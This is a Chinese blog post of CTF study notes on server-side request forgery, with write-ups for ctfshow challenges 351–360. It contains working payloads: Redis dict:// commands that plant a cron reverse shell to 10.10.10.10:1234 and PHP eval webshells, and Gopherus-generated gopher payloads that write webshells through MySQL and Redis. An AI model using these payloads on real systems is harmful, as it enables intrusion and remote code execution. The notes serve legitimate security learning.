CTFSHOW-SSRF

发布于 2022-12-20  308 次阅读


ssrf

  • SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF是要目标网站的内部系统。(因为他是从内部系统访问的,所有可以通过它攻击外网无法访问的内部系统,也就是把目标网站当中间人)

产生点

  • 服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。比如从指定URL地址获取网页文本内容,加载指定地址的图片,下载等等。利用的是服务端的请求伪造。ssrf是利用存在缺陷的web应用作为代理攻击远程和本地的服务器

可利用协议

file协议-读文件

  • File协议主要用于访问本地计算机中的文件,就如同在Windows资源管理器中打开文件一样。
如果有host,前面是要加 // 的,因此对于 http 等这些网络地址来讲http://www.baidu.sb:80/ad/cas写成这样很自然。 
如果是文件,文件没有 host ,所以中间的部分就不要了,就变成了file:///ad/cash 
  • 如题目提供file传参,则?file=file://host/flag(使用前提是页面有回显)

http协议-探测内网主机存活

  • http协议的利用也很简单,就是向目标发送http请求,由于get请求的参数是直接加在url里的,所以可以探测内网那些使用get请求即可攻击的应用。

dict协议-端口,服务与命令执行

  • DICT协议,一个字典服务器协议,A Dictionary Server Protocol
  • 使用方法dict://ip:端口/payload
有以下payload:
,,,,先把链接留着,没看懂,感觉一般就只用info来看看版本信息
https://www.cnblogs.com/kkun/archive/2009/03/28/1424052.html

比如向未授权的redis发起请求http://192.168.2.169:8012/ssrf.php?url=dict://172.16.122.5:6379/info,可以看到redis的基本配置信息
贴一个dict使用大全(好像除了一.其他并不实用)

一、dict协议探测端口和服务指纹
dict://127.0.0.1:22
dict://172.22.10.10:3306
dict://127.0.0.1:6379/info

二、dict协议攻击redis,写入定时任务,进行反弹shell
centos系统定时任务的路径为:/var/spool/cron
debian系统定时任务的路径为:/var/spool/cron/crontabs

dict://127.0.0.1:6379/config:set:dbfilename:root
dict://127.0.0.1:6379/config:set:dir:/var/spool/cron
dict://127.0.0.1:6379/set:test:"\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/10.10.10.10/1234 0>&1\n\n"
dict://127.0.0.1:6379/save

注意:若payload存在被转义或过滤的情况,可利用16进制写入内容
dict://127.0.0.1:6379/set:test:"\n\n\x2a/1\x20\x2a\x20\x2a\x20\x2a\x20\x2a\x20/bin/bash\x20\x2di\x20\x3e\x26\x20/dev/tcp/10.10.10.10/1234\x200\x3e\x261\n\n"

三、dict协议攻击redis,写入webshell
dict://127.0.0.1:6379/config:set:dbfilename:test.php
dict://127.0.0.1:6379/config:set:dir:/var/www/html
dict://127.0.0.1:6379/set:test:"\n\n<?php @eval($_POST[x]);?>\n\n"
dict://127.0.0.1:6379/save

若存在过滤, 则利用16进制内容写入:
dict://127.0.0.1:6379/set:test:"\n\n\x3c\x3f\x70\x68\x70\x20\x40\x65\x76\x61\x6c\x28\x24\x5f\x50\x4f\x53\x54\x5b\x78\x5d\x29\x3b\x3f\x3e\n\n"

四、dict协议攻击redis,写入ssh公钥
操作和写入定时任务相似

gopher协议-构造各种HTTP请求包

  • Gopher是Internet上一个非常有名的信息查找系统,它将Internet上的文件组织成某种索引,很方便地将用户从Internet的一处带到另一处。
  • 基本协议格式:URL:gopher://<host>:<port>/<gopher-path>如:
http://192.168.163.150/test.php?url=gopher://192.168.163.1:80/_POST%20/evil.php%20HTTP/1.1%250d%250aHost:%20192.168.163.1%250d%250aUser-Agent:%20curl/7.43.0%250d%250aAccept:%20*/*%250d%250aContent-Type:%20application/x-www-form-urlencoded%250d%250a%250d%250acmd=balabala

gopher协议数据流中,url编码使用%0d%0a替换字符串中的回车换行
数据流末尾使用%0d%0a代表消息结束
  • 这里有个有意思的东西,%0d和%0a表示换行,但是这俩符号会被转码,就得将编码再编码一次,分别变成%250a和%250b
  • 但是好像一般不会手敲payload,一般都是用Gopherus工具生成payload,这个就放在下面吧

可利用的函数

curl函数

  • curl是一个库,能让你通过URL和许多不同种的服务器进行交流,并且还支持许多协议。curl可以支持https认证、http post、ftp上传、代理、cookies、简单口令认证等等功能。
基本格式:
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch); 

file_get_contents()函数

fsockopen

  • fsockopen用于打开网络的 Socket 链接。😨
fsockopen 来模拟生成 HTTP 连接的例子:

<?php
    $fp = fsockopen("127.0.0.1",80,$errno,$errstr,30);
    if(!$fp){
        echo "$errstr ($errno)<br />\n";
    }else{
        $out = "GET / HTTP/1.1\r\n";
        $out .= "Host: 127.0.0.1\r\n";
        $out .= "Connection: Close\r\n\r\n";
        fwrite($fp,$out);
        $content = '';
        while(!feof($fp)){
            $content .= fgets($fp,128);
        }
        echo $content;
        fclose($fp);
    }
?>

绕过姿势

parse_url的利用(127.0.0.1绕过)

  • 此函数返回一个关联数组,包含现有 URL 的各种组成部分。如果缺少了其中的某一个,则不会为这个组成部分创建数组项。
组成部分为:
scheme
host
port
user
pass
path
query - 在问号 ? 之后
fragment - 在散列符号 # 之后
此函数并 不 意味着给定的 URL 是合法的,它只是将上方列表中的各部分分开。parse_url() 可接受不完整的 URL,并尽量将其解析正确。
一个例子

$ php -r 'print_r( parse_url("http://username:password@hostname/path?arg=value#anchor"));'
Array
(
[scheme] => http
[host] => hostname
[user] => username
[pass] => password
[path] => /path
[query] => arg=value
[fragment] => anchor
)
  • 127.0.0.1和localhost的一些代替
url=http://127.0.1/flag.php
url=http://0x7F000001/flag.php
url=http://0.0.0.0/flag.php
url=http://0/flag.php
url=http://127.1/flag.php
url=http://127.0000000000000.001/flag.php

注意:0在windows中被解析成0.0.0.0,在linux中被解析为127.0.0.1

302跳转(127.0.0.1绕过)

  • 127.0.0.1被过滤,可以使用一些被解析到127.0.0.1的域名就可以了,这里贴一份别人的
  • 也可以用之前自己搭的短链接服务(总算有点用了55555)
    http://safe.taobao.COM
    http://safe.taobao.com/
    http://114.taobao.com/
    http://wifi.aliyun.com/
    http://imis.QQ.com/
    http://localhost.sec.qq.com/
    http://ecd.tencent.com/

@绕过

  • 老是跳到https,恼火
http://example.com@127.0.0.1

[::]绕过

  • 本地测试失败
利用[::]绕过localhost
http://[::]:80/  >>>  http://127.0.0.1

奇怪的字符替换

`① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳ `
`⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾ ⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇ `
`⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗ ⒘ ⒙ ⒚ ⒛ `
`⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰ ⒱ ⒲ ⒳ ⒴ ⒵ `
`Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ `
`ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ `
`⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴ `
`⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿`

句号绕过

  • 本地测试没有成功
127。0。0。1  >>>  127.0.0.1

进制转换

115.239.210.26 
首先把这四段数字给分别转成16进制,结果:73 ef d2 1a
然后把 73efd21a 这十六进制一起转换成8进制得到16373751032
最后为了表示8进制,要在前面加0,访问http://016373751032/即可

外网与内网

外网又被称为广域网,它可以连接极其大的物理范围,属于远程性的网络
内网是指内部局域网,也就是说内网一般是用于局域网内部的计算机之间的互相通信,不与外部网络连接进行通信

练习

ctfshow351

  • 一个典型的curl的利用
 <?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);//有回显
?>
  • 访问一下flag.php,显示只能本地访问,直接用http协议,让index.php帮我们读取flag.php的内容
  • post传入url=127.0.0.1/flag.php

ctfshow352

  • 一个加了waf的典型curl
 <?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|127.0.0/')){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
    die('hacker');
}
}
else{
    die('hacker');
}
?>
  • 题目要求用http/https协议,但是不能出现localhost之类的东东,本题出现了一个可以利用的函数parse_url()
  • 此函数会将127.1解析为127.0.0.1,直接传入url=http://127.1/flag.php

ctfshow353

 <?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|127\.0\.|\。/i', $url)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
    die('hacker');
}
}
else{
    die('hacker');
}
?>

ctfshow354

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|1|0|。/i', $url)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
    die('hacker');
}
}
else{
    die('hacker');
}
?>

ctfshow355

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$host=$x['host'];
if((strlen($host)<=5)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
    die('hacker');
}
}
else{
    die('hacker');
}
?>

ctfshow356

  • 限制的更短,和上一题一样

ctfshow357(没搞懂)

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$ip = gethostbyname($x['host']);
echo '</br>'.$ip.'</br>';
if(!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {
    die('ip!');
}

echo file_get_contents($_POST['url']);
}
else{
    die('scheme');
}
?>
  • 从这里开始就是file_get_contents的利用了
  • 先要弄懂下面这个过滤的意思
filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)

filter_var() 函数通过指定的过滤器过滤一个变量。
如果成功,则返回被过滤的数据。如果失败,则返回 FALSE。

FILTER_FLAG_IPV4 - 要求值是合法的 IPv4 IP(比如 255.255.255.255)。
FILTER_FLAG_IPV6 - 要求值是合法的 IPv6 IP(比如 2001:0db8:85a3:08d3:1319:8a2e:0370:7334)。
FILTER_FLAG_NO_PRIV_RANGE - 要求值不在 RFC 指定的私有范围 IP 内(比如 192.168.0.1)。
FILTER_FLAG_NO_RES_RANGE - 要求值不在保留的 IP 范围内。该标志接受 IPV4 和 IPV6 值。

|是啥
  • 限制了一些ip,我用之前搭建的短链接服务整了个跳转到http://127.0.0.1/flag.php,就成功了,不知道为啥不能url=http://safe.taobao.com/flag.php

ctfshow358

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if(preg_match('/^http:\/\/ctf\..*show$/i',$url)){
    echo file_get_contents($url);
}

ctfshow359-gopher打mysql

  • 提示是无密码的mysql
  • 先试试弱密码登录,admin:123456,跳转到check.php,抓包看一下,存在ssrf漏洞
u=admin&returl=https%3A%2F%2F404.chall.ctf.show%2F
  • 使用gopherus脚本生成ssrf语句
python2 gopherus.py --exploit mysql
root
select '<?php eval($_POST[cmd]);?>' into outfile '/var/www/html/ssrf.php'
gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%4a%00%00%00%03%73%65%6c%65%63%74%20%27%3c%3f%70%68%70%20%65%76%61%6c%28%24%5f%50%4f%53%54%5b%63%6d%64%5d%29%3b%3f%3e%27%20%69%6e%74%6f%20%6f%75%74%66%69%6c%65%20%27%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%73%73%72%66%2e%70%68%70%27%01%00%00%00%01
  • 把_后面的再编码一次(因为浏览器会解码一次,要保证传入的字符串是编码字符串)
gopher://127.0.0.1:3306/_%25a3%2500%2500%2501%2585%25a6%25ff%2501%2500%2500%2500%2501%2521%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2572%256f%256f%2574%2500%2500%256d%2579%2573%2571%256c%255f%256e%2561%2574%2569%2576%2565%255f%2570%2561%2573%2573%2577%256f%2572%2564%2500%2566%2503%255f%256f%2573%2505%254c%2569%256e%2575%2578%250c%255f%2563%256c%2569%2565%256e%2574%255f%256e%2561%256d%2565%2508%256c%2569%2562%256d%2579%2573%2571%256c%2504%255f%2570%2569%2564%2505%2532%2537%2532%2535%2535%250f%255f%2563%256c%2569%2565%256e%2574%255f%2576%2565%2572%2573%2569%256f%256e%2506%2535%252e%2537%252e%2532%2532%2509%255f%2570%256c%2561%2574%2566%256f%2572%256d%2506%2578%2538%2536%255f%2536%2534%250c%2570%2572%256f%2567%2572%2561%256d%255f%256e%2561%256d%2565%2505%256d%2579%2573%2571%256c%254a%2500%2500%2500%2503%2573%2565%256c%2565%2563%2574%2520%2527%253c%253f%2570%2568%2570%2520%2565%2576%2561%256c%2528%2524%255f%2550%254f%2553%2554%255b%2563%256d%2564%255d%2529%253b%253f%253e%2527%2520%2569%256e%2574%256f%2520%256f%2575%2574%2566%2569%256c%2565%2520%2527%252f%2576%2561%2572%252f%2577%2577%2577%252f%2568%2574%256d%256c%252f%2573%2573%2572%2566%252e%2570%2568%2570%2527%2501%2500%2500%2500%250
  • 页面一直没啥反应,但是没关系,访问一下ssrf.php,没有404,说明已经写入了,那么就有命令执行漏洞了,传入cmd=cat /flag,也可以蚁剑连接,最后flag在根目录下的flag.txt

ctfshow360-gopher打redis

  • 使用gopherus脚本生成ssrf语句
python2 gopherus.py --exploit redis

What do you want?? (ReverseShell/PHPShell): phpshell

Give web root location of server (default is /var/www/html):(直接敲回车默认是例子)

Give PHP Payload (We have default PHP Shell): <?php eval($_POST[a];?>
gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2427%0D%0A%0A%0A%3C%3Fphp%20eval%28%24_POST%5Ba%5D%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A
  • 对_后面的进行编码
gopher://127.0.0.1:6379/_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252427%250D%250A%250A%250A%253C%253Fphp%2520eval%2528%2524_POST%255Ba%255D%253B%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A%2Fvar%2Fwww%2Fhtml%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%250A
  • 脚本会在选定目录下生成shell.php,直接利用即可

csrf与ssrf的区别

  • ssrf是用户控制被信任的服务器发送请求,csrf是伪造信息使服务器信任用户
届ける言葉を今は育ててる
最后更新于 2024-02-07